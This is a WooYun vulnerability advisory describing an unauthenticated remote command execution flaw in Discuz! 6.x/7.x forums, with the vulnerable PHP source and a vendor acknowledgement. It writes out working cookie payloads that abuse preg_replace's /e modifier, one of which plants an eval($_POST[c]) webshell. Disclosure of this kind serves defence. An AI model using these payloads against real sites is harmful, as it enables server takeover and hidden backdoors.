当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080723

漏洞标题:Discuz!某两个版本前台产品命令执行(无需登录)

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2014-10-25 17:02

修复时间:2015-01-23 17:04

公开时间:2015-01-23 17:04

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-25: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-23: 细节向公众公开

简要描述:

最近总有人翻旧程序,我也翻一个出来!
Discuz!某版本虽然停止维护,但使用量还很可观,各大厂商或多或少都有使用。
有条件,直接存在命令执行,但目前大多默认配置直接支持。
此漏洞在互联网上公开过,但厂商不认为是漏洞?
还是那句:没有POC,你说个jb!
不登陆,直接执行

详细说明:

影响版本:Discuz! 6.x/7.x 全局变量防御绕过漏洞
互联网比较有人公开过,看:http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt
那时描述是:Discuz! 6.x/7.x 全局变量防御绕过漏洞 POC : 缺
可能由于作者没有放出POC,因此没有得到别人重视。
此漏洞利用的地方有很多,不限制这个命令执行。
漏洞原理就不说了,这里说说漏洞利用:
文件:
include/discuzcode.func.php

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
}


注意到 119 行:
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
因此,直接cookie中带
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行。
请求中Cookie带
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
即一句话木马,此后门漏洞十分隐蔽,不容易发现。
随便 google 验证了一下,发现还是有大量中招的。

漏洞证明:

1.jpg


2.jpg

修复方案:

这个你们应该懂!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-27 09:22

厂商回复:

感谢您的支持。我们尽快处理。

最新状态:

暂无